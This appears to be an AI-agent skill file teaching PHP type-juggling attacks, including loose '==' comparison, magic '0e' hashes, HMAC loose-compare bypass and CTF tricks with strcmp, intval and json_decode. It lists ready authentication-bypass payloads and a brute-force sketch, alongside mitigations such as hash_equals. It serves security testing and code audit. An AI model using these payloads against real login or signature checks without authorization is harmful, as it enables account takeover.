SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

AI LOAD INSTRUCTION: PHP == coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-style strcmp / json_decode / intval tricks. Use strict routing: map the sink (== vs hash_equals), PHP major version, and whether both operands are attacker-controlled. 中文路由：遇到 PHP 登录/签名/md5($_GET['x'])==md5($_GET['y']) 类题目或代码，优先读本 skill；若已用 hash_equals/=== 则本路径通常不成立。

0. QUICK START

First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

First-pass payloads (auth / token shape)

password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00

Minimal PHP probes (local or `php -r` in lab)

<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));

Routing hints

线索	下一步
源码里出现 `==` 比较密码、token、HMAC 结果	走 Section 1–3
`md5($a) == md5($b)` 或 `sha1` 松散比较	Section 2 魔法哈希
`hash_hmac(...) != '0'` 或和 `"0"` 比较	Section 3
`strcmp`、`json_decode(..., true)`、`intval`	Section 5

1. LOOSE COMPARISON (`==`) — TRUTH TABLE & VERSIONS

PHP compares operands with type juggling unless you use === or hash_equals() for secrets.

1.1 Core examples (strings vs numbers)

Expression	Result	Mechanism (short)
`'0010e2' == '1e3'`	true	Both strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”)
`'0e462097431906509019562988736854' == '0e830400451993494058024219903391'`	true	Both parse as 0.0 in scientific notation
`'123a' == 123`	true	String cast to int stops at first non-digit → `123`
`'abc' == 0`	true (PHP 7.x and earlier)	Non-numeric string compared to int → string becomes `0`
`'' == 0`	true	Empty string → `0`
`'' == false`	true	both “falsy” in loose rules
`false == NULL`	true	loose equality
`0 == false`	true	loose equality
`'' == 0 == false == NULL`	true (chain)	Each adjacent pair is true under `==` (`''==0`, `0==false`, `false==NULL`) — classic “falsy” chain
`'0' == false`	true	String `'0'` is the only non-empty string that compares as false to boolean
`'php' == 0`	false (PHP 8+)	PHP 8: non-numeric string no longer equals `0`

1.2 PHP 5 vs 7 vs 8 (high-signal deltas)

Topic	PHP 5.x / 7.x (typical)	PHP 8.0+
`0 == "foo"`	true (string → 0)	false
String-to-number for `"123a"`	Still truncates for `(int)` / numeric compare in many `==` paths	Same idea for numeric strings; non-numeric vs int fixed as above
`md5([])` / `sha1([])`	May warn / `NULL`-like behavior in older patterns	TypeError for wrong types — kills classic `[]` tricks unless error handling collapses to NULL

Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.

1.3 Safe alternative (defense / verification)

hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string
// or
$expected === $actual;

2. MAGIC HASHES (`0e…` + digits only)

When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.

2.1 Reference table (MD5 / SHA-1 and longer algos)

Algorithm	Example input	Digest (starts with `0e` + all decimal digits)
MD5	`240610708`	`0e462097431906509019562988736854`
MD5	`QNKCDZO`	`0e830400451993494058024219903391`
SHA-1	`10932435112`	`0e07766915004133176347055865026311692244`
SHA-224	(brute-force / precomputed)	Example form: `0e` + decimal digits only → `==` with another such string is true
SHA-256	(brute-force / precomputed)	Same pattern: only strings matching `^0e\d+$` collide under `==`

Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0 → true.

2.2 Exploit pattern in code

if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // intended: different strings, same md5 (impossible for md5)
    // actual: two different strings whose *digests* are magic hashes
}

2.3 Payload sketch (pair hunting)

?a=240610708&b=QNKCDZO

For SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.

3. HMAC BYPASS (LOOSE COMPARE VS `"0"` OR `0`)

If logic uses loose inequality against a constant:

if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.

Brute-force $data (e.g. timestamp, nonce, counter) until hash_hmac output matches ^0e[0-9]+$ (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.

Example (MD5-style `0e` digest for a numeric message)

Concept	Example
Message type	Unix timestamp, incrementing id, millisecond clock
Timestamp brute-force pattern	Tutorials sometimes cite `1539805986` → `0e772967136366835494939987377058` as a magic-hash style example; `md5('1539805986')` does not yield that digest in stock PHP — use the idea (scan timestamps / counters until output matches `^0e[0-9]+$`) and always verify against the exact function + key in the target code.
Goal	Find `$data` such that `hash_hmac('md5', $data, $key)` matches `^0e[0-9]+$`
Note	Without knowing `$key`, you may still brute `$data` if algorithm/output are visible in a oracle; CTFs often leak or fix key

# Conceptual: try many timestamps
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t

Mitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".

4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

Invalid types can yield NULL on the compared side; loose equality to another NULL or coerced value may pass.

Call	Typical PHP 7/8 behavior
`md5([])`	PHP 8: TypeError; older: warnings / not reliable across versions
`sha1([])`	Same
Idea	If error handler or custom wrapper converts failures to `NULL`, then `NULL == NULL` or `NULL == sha1("x")` if other side is also NULL

// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true

Real audits: look for @, custom try/catch that sets hash to null, or user input passed where a string is required.

5. CTF PATTERNS

5.1 `strcmp` / `strcasecmp` with arrays

strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
// NULL == 0  → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)

Payload:

?p[]=1

5.2 `intval` bypass

// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0);   // → 26

// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)

// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100

?id=0x1A
?id=010
?id=1e2

5.3 `json_decode` + `true` for associative array auth

{"password": true}

$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules

5.4 `is_numeric` + loose compare

is_numeric("0e12345");  // true
"0e12345" == 0;         // true (scientific notation → 0.0)

5.5 Deserialization + magic properties

Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.

6. DECISION TREE

                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+

Tool references

Tool	Use
Local `php` CLI	Reproduce `==` behavior for target major version
Static code review	Grep `==`, `!=` on crypto outputs; find missing `hash_equals`
CTF frameworks	Payload generators for magic hashes and `0e` search

Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.

type-juggling